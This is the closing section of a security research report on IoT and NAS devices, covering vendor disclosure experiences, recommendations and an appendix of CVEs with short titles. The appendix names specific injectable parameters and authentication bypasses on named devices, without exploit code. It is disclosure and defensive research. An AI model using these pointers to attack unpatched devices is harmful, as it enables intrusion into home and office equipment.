We responsibly disclosed all of the vulnerabilities we identified to device manufacturers. As described above, sometimes this occurred as bug bounty disclosures, other times we directly contacted the manufacturer. Most vendors were responsive and acknowledged receipt of the

reported vulnerabilities. In some cases, we worked with the manufacturers to reproduce issues or explain details.

Of the manufacturers that we interacted with, three of them were CVE Numbering Authorities (CNAs) [**11]. Those manufacturers were Lenovo Group Ltd., QNAP Systems, Inc., and Synology Inc. A fourth, Netgear Inc., was a CNA until early 2019, though it is unclear as to why they left the program. Presumably, companies becoming CNAs shows their interest in being more involved with the security community as they now have an additional avenue for directly interfacing with researchers.

In addition, the following manufacturers offer a bug bounty program: Synology Inc., Xiaomi Corp., Netgear Inc. Of those, Synology and Netgear offer a cash bounty while Xiaomi offers merchandise prizes. Conversely, none of the manufacturers we worked with during our original iteration of SOHOpelessly Broken offered a bug bounty for vulnerabilities discovered in their products.

Unfortunately, not all disclosures were simple. Some companies did not respond to our initial reporting of vulnerabilities. Others did not provide security contact information at all, and we were forced to disclose reports to their general support contact. Of the 13 manufacturers that we contacted, three of them did not respond to our inquiries despite numerous attempts. These manufacturers were Drobo Inc., Buffalo Americas, Inc., and Zioncom Holdings Ltd. We have yet to receive any new communication from Buffalo Americas Inc., and Zioncom Holdings Ltd. as of the date we published this paper. We were able to get in contact Drobo Inc.; however, we did not receive any other communications after we re-sent them our findings.

The table below summarizes some of the details about each manufacturer's responsible disclosure program.

Product	Responsible disclosure program?	Is a CNA?	How were vulnerabilities submitted?	Notable Interactions
Buffalo TeraStation TS5600D1206	No	No	We submitted them to the email addresses listed below: security@buffalo-technology.com support@buffalo-technology.com	We contacted Buffalo at the email addresses listed in the previous column on: ● June 22, 2018 ● July 2, 2018 ● July 3, 2018 ● August 22, 2018 Buffalo has not acknowledged receipt of our vulnerabilities.
Synology rt2600ac	Yes	Yes	bounty@synology.com	Synology promptly verified our findings and validated our exploits.

ASUS RT-AC3200	Yes	Yes	We submitted them to security@asustor.com	Asus promptly responded to our vulnerability submission. They worked closely with us to ensure they were mitigating the reported vulnerabilities appropriately.
Netgear Nighthawk R9000	Yes	No[1]	Through their bug bounty program on BugCrowd	Netgear exhibited severe communication issues, resulting in our finding being patched long before our reports were even confirmed. This was the longest and most arduous disclosure of this research project. Nearly 5 months were spent waiting for Netgear to respond to the BugCrowd reports, and an additional 3 months were spent attempting to get CVEs from Netgear, and then MITRE. After contacting MITRE, netgear was removed from the official CVE numbering authority list.
TerraMaster F2-420	No	No	We submitted them to support_us@terra-master.com	Terramaster promptly responded to our vulnerability submission. Despite not having a formal responsible disclosure program, TerraMaster worked with our team to ensure they understood the vulnerabilities we reported.
Drobo 5N2	No	No	We submitted them to support@drobo.com	We contacted Drobo at the email addresses listed in the previous column on: ● July 6, 2018 ● July 10, 2018 ● August 22, 2018 Drobo has not acknowledged receipt of our vulnerabilities.
Zyxel NSA325 v2	No	No	We submitted them to security@zyxel.com.tw	Zyxel promptly responded to our vulnerability submission. The model we looked at is considered a legacy model that has been "end-of-life[2]". Zyxel informed us that they will be using the vulnerabilities we reported as a means to help them secure their current product line.
TOTOLINK A3002RU	No	No	We submitted them to the email addresses listed below. sales@zioncom.net security@zioncom.net admin@zioncom.net	We contacted Zioncom, TOTOLINK's manufacturer, at the email addresses listed in the previous column on: ● May 30, 2018 ● July 2, 2018 ● July 3, 2018 ● August 22, 2018 Zioncom has not acknowledged receipt of our vulnerabilities.
Asustor AS-602T	No	No	We submitted them to the email	Asustor promptly responded to our vulnerability submission.

[1] Netgear was previously a CNA; however, they are no longer a CNA as of 2019.

[2] It is unclear what efforts manufacturers made to reach out to customers to notify them that their device was EOL and may have unpatched vulnerabilities, nor how clear their policy for publishing expected product lifetimes are.

			addresses listed below. security@asustor.com, esupport@asustor.com	
Seagate STCR3000101	Yes	No	We submitted them to the email addresses listed on their website for responsible disclosure. security.reporting@seagate.com	Seagate has a direct security contact for vulnerability submissions. When submitting vulnerabilities, researchers can encrypt their submissions with Seagate's provided PGP key. Seagate promptly responded to our vulnerability submission.
QNAP TS-870	Yes	Yes	We submitted them to the email addresses listed on their website for responsible disclosure. security@qnap.com	QNAP has a direct security contact for vulnerability submissions. When submitting vulnerabilities, researchers can encrypt their submissions with QNAP's provided PGP key. QNAP promptly responded to our vulnerability submission.
Mi Router	Yes	No	We submitted them to the email addresses listed on their website for responsible disclosure. security@xiaomi.com	Xiaomi has a direct security contact for vulnerability submissions. Xiaomi promptly responded to our vulnerability submission.
Lenovo ix4-300d	Yes	Yes	We submitted them to the email addresses listed on their website for responsible disclosure. psirt@lenovo.com	Lenovo has a direct security contact for vulnerability submissions. When submitting vulnerabilities, researchers can encrypt their submissions with Lenovo's provided PGP key. Lenovo promptly responded to our vulnerability submission.

Recommendations

Below we have broken down our recommendations for improving the state of IoT security for both current and future devices. In this section we provide recommendations for manufacturers and consumers.

Device Manufacturers

We have seen that the vendors of Internet of Things devices have increased their presence in the security community, albeit without any substantial increases to device security. We believe that manufacturers must begin training their developers on security best practices and utilize either internal or external security teams to audit the software running on their devices. Software must be developed with security in mind from the initial planning stages and security must be considered in all stages thereafter. Such a software development lifecycle should improve the security of resultant systems; however, it is equally important to perform active security testing on devices that utilizes threat models and methodologies as used by real-world adversaries.

Consumers and Enterprise Users

When purchasing new IoT equipment, the security of devices should be of importance. Manufacturers with a history of numerous security vulnerabilities should be avoided; likewise, how a manufacturer has handled patching issues and the length of time that devices are supported should also be important considerations.

After devices have been purchased and installed, administrators should harden them by disabling unused features, enabling security controls, if available, and implementing a patching strategy to regularly apply firmware updates. In particular, remote access features should be avoided when possible as they expose the device to adversaries on the Internet, rather than limiting threats to those on an internal network.

Conclusion

The research we performed in SOHOpelessly Broken 2.0 shows that many popular IoT devices are vulnerable to remote exploits. The devices we exploited were not limited to a single manufacturer, and most are well-received models from reputable brands in the industry.

The growth of security awareness through programs such as bug bounties may result in vulnerabilities being patched, but their existence in the first place is troubling. Trivially exploited OS CMDi vulnerabilities, for example, are common in the devices we researched. Such flaws would be considered unacceptable in modern web applications in non-IoT environments. Patching vulnerabilities after the device release is also problematic. It is likely that a significant number of devices are deployed and never updated afterwards. These devices will be vulnerable to any publicly-disclosed issues, even if patched firmware is made available.

Through SOHOpelessly Broken 2.0, we have shown how the current security controls of IoT vendors do not prevent remote attackers from fully compromising a targeted device. While some of the models required a higher-level of effort to discover the issues, many can be easily exploited by anyone with network-level access to the device. With these results, we can conclude that common devices that are deployed in small office and home office environments are likely vulnerable to exploits that can result in severe damage--despite the increased attention to security that IoT device manufacturers have given since 2013.

Additional Research

Our research was designed to find remotely exploitable issues that could be leveraged to fully compromise our targets. It was not an exhaustive search for vulnerabilities. Many device services and features were not examined.

In future revisions, we would like to look at shared libraries between our targets. Our end goal would still be to find remotely exploitable issues, however we wouldn't focus heavily on the administrative panel of our targets. We could also look at authentication token generation. Many of our targets have developed their own session token generation and verification workflows. Identifying security issues in session token generation could grant us the ability to authenticate or elevate our privileges on our targets. Last, we would also be interested in looking at firmware distribution and processing workflows. The ability to intercept and modify firmware could grant us the ability to remotely compromise our targets without any authentication.

References

[1] "The Internet of Things: How to capture the value of IoT," McKinsey & Company, May-2018. [Online]. Available: https://www.mckinsey.com/~/media/McKinsey/Business Functions/McKinsey Digital/Our Insights/The Internet of Things How to capture the value of IoT/How-to-capture-the-value-of-IoT.ashx. [Accessed: 08-Apr-2019].

[2] https://www.securityevaluators.com/wp-content/uploads/2017/07/soho_techreport.pdf

[3] J. Holcomb, "Network Attached Shell: N.A.S.ty Systems That Store Network Accessible Shells," Jul-2014. [Online]. Available: https://www.blackhat.com/docs/eu-14/materials/eu-14-Holcomb-Network-Attached-Shell-N-A-S-ty-Systems-That-Store-Network-Accessible-Shells.pdf.

[4] “VPNFilter: New Router Malware with Destructive Capabilities,” 23-May-2018. [Online]. Available: https://www.symantec.com/blogs/threat-intelligence/vpnfilter-iot-malware. [Accessed: 08-Apr-2019].

[5] A. Marion, “Vulnerability Disclosure Policy,” Feb-2018. [Online]. Available: https://vuls.cert.org/confluence/display/Wiki/Vulnerability Disclosure Policy. [Accessed: 08-Apr-2019].

[6] “CWE-352: Cross-Site Request Forgery (CSRF).” [Online]. Available: https://cwe.mitre.org/data/definitions/352.html. [Accessed: 08-Apr-2019].

[7] S. Barum and M. Gegick, “Reluctance to Trust,” Sep-2015. [Online]. Available: https://www.us-cert.gov/bsi/articles/knowledge/principles/reluctance-to-trust.

[8] A. Mousa and A. Hamad, “Evaluation of the RC4 Algorithm for Data Encryption.” [Online]. Available: https://staff-old.najah.edu/sites/default/files/Evaluation_of_the_RC4_Algorithm_for_Data_Encryption.pdf. [Accessed: 08-Apr-2019].

[9] C. Shannon, “Communication theory of secrecy systems,” Oct-1949. [Online]. Available: https://ieeexplore.ieee.org/document/6769090/metrics#metrics. [Accessed: 08-Apr-2019].

[10] H. Ballani, Y. Chawathe, S. Ratnasamy, T. Roscoe, and S. Shenker, “Off by Default!,” Nov-2016. [Online]. Available: https://www.microsoft.com/en-us/research/wp-content/uploads/2016/11/hotnets05-defoff.pdf. [Accessed: 08-Apr-2019].

[11] Stanek, M. (2017). Secure by default – the case of TLS. [online] Arxiv.org. Available at: https://arxiv.org/pdf/1708.07569.pdf [Accessed 15 May 2019].

[12] Jansen, B. (2018). Security By Default: A Comparative Security Evaluation of Default Configurations. [online] Uvalight.net. Available at: https://uvalight.net/~delaat/rp/2017-2018/p01/report.pdf [Accessed 15 May 2019].

[**11]“CVE Numbering Authorities.” [Online]. Available: https://cve.mitre.org/cve/cna.html. [Accessed: 08-Apr-2019].

Appendix A: CVEs from SOHOpelessly Broken 2.0

Buffalo TeraStation TS5600D1206

CVE-2018-13323 - Cross-site scripting via “username” cookie
CVE-2018-13322 - Arbitrary Directory Listing via Path Traversal
CVE-2018-13319 - Unauthenticated Information Disclosure
CVE-2018-13324 - Authentication Bypass on JSONRPC API
CVE-2018-13318 - Command Injection During User Creation (Second Order)
CVE-2018-13320 - Command Injection in NT Domain Settings
CVE-2018-13321 - Internal Functions Accessible via JSONRPC API

ASUS RT-AC3200

CVE-2018-14710 - Reflected Cross-Site Scripting via appGet.cgi
CVE-2018-14711 - Missing Cross-Site Request Forgery Protection on appGet.cgi
CVE-2018-14714 - Command Injection via load_script Hook in appGet.cgi
CVE-2018-14713 - Uncontrolled Format String via nvram_match Family in appGet.cgi
CVE-2018-14712 - Stack Buffer Overflow via delete_sharedfolder() in appGet.cgi

TerraMaster F2-420

CVE-2018-13334 - Insufficient validation and sanitization in System name
CVE-2018-13329 - Insufficient validation and sanitization in URL Parameters (Reflected XSS)
CVE-2018-13337 - Session Fixation
CVE-2018-13338 - System Command Injection in User Creation (username)
CVE-2018-13336 - System Command Injection in User Creation (password)
CVE-2018-13332 - Arbitrary File Upload Location
CVE-2018-13333 - Persistent Cross-site Scripting via username in File Manager Permissions
CVE-2018-13331 - Persistent Cross-site Scripting via username in Control Panel
CVE-2018-13330 - System Command Execution in Group Creation
CVE-2018-13335 - Persistent Cross-site Scripting via Shared Folder description in Control Panel
CVE-2018-13357 - Persistent Cross-site Scripting via Shared Folder name in Control Panel
CVE-2018-13352 - Session Tokens are stored as files in /tmp
CVE-2018-13349 - Persistent Cross-site Scripting via username upon Login
CVE-2018-13355 - Missing Authorization Check on Group Creation
CVE-2018-13351 - Reflected Cross-site Scripting via Edit User Form
CVE-2018-13356 - Missing Authorization on User Edit
CVE-2018-13358 - System Command Injection in ajaxdata.php (checkName)

CVE-2018-13353 - System Command Injection in ajaxdata.php (checkport)
CVE-2018-13418 - System Command Injection in ajaxdata.php (User rename)
CVE-2018-13354 - Unauthenticated System Command Injection in logtable.php
CVE-2018-13350 - Unauthenticated SQL Injection in logtable.php
CVE-2018-13361 - Unauthenticated User Enumeration
CVE-2018-13359 - Unauthenticated Reflected Cross-Site Scripting
CVE-2018-13360 - Reflected Cross-Site Scripting in Text Editor

Drobo 5N2

CVE-2018-14699 - Unauthenticated Command Injection in username parameter in enable_user
CVE-2018-14697 - Reflected Cross-Site Scripting in enable_user
CVE-2018-14698 - Reflected Cross-Site Scripting in delete_user
CVE-2018-14701 - Unauthenticated Command Injection in username parameter in delete_user
CVE-2018-14703 - Unauthenticated Access to MySQL Database Password
CVE-2018-14700 - Unauthenticated Access to MySQL Log Files
CVE-2018-14695 - Unauthenticated Access to MySQL diag.php
CVE-2018-14696 - Unauthenticated Access to device info via MySQL API drobo.php
CVE-2018-14702 - Unauthenticated Access to device info via Drobo Pix API drobo.php
CVE-2018-14704 - Reflected Cross-Site Scripting via MySQL API droboapps.php
CVE-2018-14705 - Lack of Authentication/Authorization on Administrative Web Pages
CVE-2018-14706 - Unauthenticated Command Injection in DroboPix
CVE-2018-14707 - Unauthenticated Arbitrary File Upload in Drobo Pix
CVE-2018-14709 - Insufficient Authentication in Client-Server Communications Between Drobo Dashboard and NASd
CVE-2018-14708 - Missing Transport Security in Client-Server Communications Between Drobo Dashboard and NASd

Zyxel NSA325 v2

CVE-2018-14892 - Missing Request Origin Verification Functionality (No CSRF Protections)
CVE-2018-14893 - Low-Privilege Root Command Injection via API

TOTOLINK A3002RU

CVE-2018-13313 - Admin Password returned in password.htm
CVE-2018-13312 - Cross-site Scripting in notice_gen.htm
CVE-2018-13308 - Cross-site Scripting in notice_gen.htm
CVE-2018-13309 - Cross-site Scripting in password.htm
CVE-2018-13310 - Cross-site Scripting in password.htm

CVE-2018-13315 - Missing Server-side Validation of Current Password During Password Change
CVE-2018-13311 - Command Injection via Samba Username
CVE-2018-13306 - Command Injection via FTP Username
CVE-2018-13307 - Command Injection via NTP Server IP Address
CVE-2018-13314 - Command Injection in formAliasIP
CVE-2018-13316 - Command Injection in formAliasIP
CVE-2018-13317 - Cross-site scripting via URL Filter

Asustor AS-602T

CVE-2018-12311 - Missing Input Sanitization on File Explorer filenames
CVE-2018-12308 - Shared Folder Encryption Key sent as URL Parameter
CVE-2018-12305 - Cross-site Scripting via SVG Images
CVE-2018-12306 - Directory Traversal via download.cgi
CVE-2018-12314 - Directory Traversal via downloadwallpaper.cgi
CVE-2018-12309 - Directory Traversal via upload.cgi
CVE-2018-12316 - Command injection via filenames
CVE-2018-12313 - Unauthenticated access to SNMP configuration
CVE-2018-12307 - Command Injection Through UserAdd
CVE-2018-12312 - Command Injection Through Generate Two Step Auth
CVE-2018-12310 - Cross-site Scripting on Login page
CVE-2018-12319 - Login Denial of service
CVE-2018-12315 - Password change does not require existing password
CVE-2018-12318 - snmp.cgi Returns Password in Cleartext
CVE-2018-12317 - Command Injection in group.cgi

Seagate STCR3000101

CVE-2018-12298 - Lack of path canonicalization in filebrowser app
CVE-2018-12295 - Failure to sanitize user input in SQL statements
CVE-2018-12299 - Insufficient validation and sanitization on user supplied file names
CVE-2018-12303 - Insufficient validation and sanitization on user supplied directory names
CVE-2018-12297 - Insufficient validation and sanitization on API endpoints
CVE-2018-12300 - Arbitrary Redirect
CVE-2018-12302 - Missing Cookie Hardening Flags
CVE-2018-12296 - Server Information Disclosure
CVE-2018-12304 - Missing Output Sanitization in App Manager
CVE-2018-12301 - Download Manager Allows Using localhost and 127.0.0.1

QNAP TS-870

CVE-2018-19941 - Username and Password Stored as Cookies During Login Redirect
CVE-2018-19942 - Insecure “Open” Functionality in Filemanager
CVE-2018-19943 - Missing Input Sanitization on File names
CVE-2018-19944 - SNMP Passwords Returned in Plaintext
CVE-2018-19945 - Arbitrary Path File Upload
CVE-2018-19946 - Missing Certificate Validation When Issuing cURL Requests
CVE-2018-19947 - Verbose Error Messages (File Upload PHP File Path Disclosure)
CVE-2018-19948 - CSRF File Upload (Helpdesk)
CVE-2018-19949 - Command Injection In Username On Proper Authentication After Account Creation
CVE-2018-19950 - Command Injection In UserName In Music Station In File Upload Functionality When Uploading Content to Private Collection
CVE-2018-19951 - Stored XSS In File Name In Music Station
CVE-2018-19952 - SQLi in Mediatool API for Shared Playlist Link Log Viewing
CVE-2018-19953 - Missing Output Sanitization on FileStation Shared Link Creator
CVE-2018-19954 - Persistent Cross-Site Scripting in PhotoStation Filenames
CVE-2018-19955 - Reflected Cross-Site Scripting in PhotoStation Filenames
CVE-2018-19956 - Reflected Cross-Site Scripting in PhotoStation via URL Parameters
CVE-2018-19957 - Missing Hardening Headers

Mi Router

CVE-2018-16130 - Insufficient Shell Input Validation in request_mitv Functionality
CVE-2018-13023 - Insufficient Shell Input Validation in wifi_access Functionality
CVE-2018-13022 - Reflected Sniffed Cross-Site Scripting via API 404

Lenovo ix4-300d

CVE-2018-9074 - Arbitrary File Path Selection When Uploading Files
CVE-2018-9075 - System Command Injection in client:password parameter in PersonalCloudJoin
CVE-2018-9076 - System Command Injection in name parameter in ShareModify
CVE-2018-9077 - System Command Injection in share:name parameter in ShareModify
CVE-2018-9078 - Insufficient validation and sanitization when hosting SVG images
CVE-2018-9079 - Insufficient validation and sanitization in cat URL parameter
CVE-2018-9080 - Session Fixation via iomega Cookie
CVE-2018-9081 - Insufficient validation and sanitization in file parameter
CVE-2018-9082 - Password change does not require existing password

Synology DS218j

CVE-2018-13282 - Session Fixation in Photo Station Application
CVE-2018-13281 - Determine Existence and Metadata of Arbitrary Files

Netgear Nighthawk X10-R9000

CVE-2019-12510 - Authentication bypass via X-Forwarded-For header
CVE-2019-12511 - System command injection via SOAP API
CVE-2019-12512 - Cross-site scripting via X-Forwarded-For header
CVE-2019-12513 - Cross-site scripting in logs via malicious DHCP request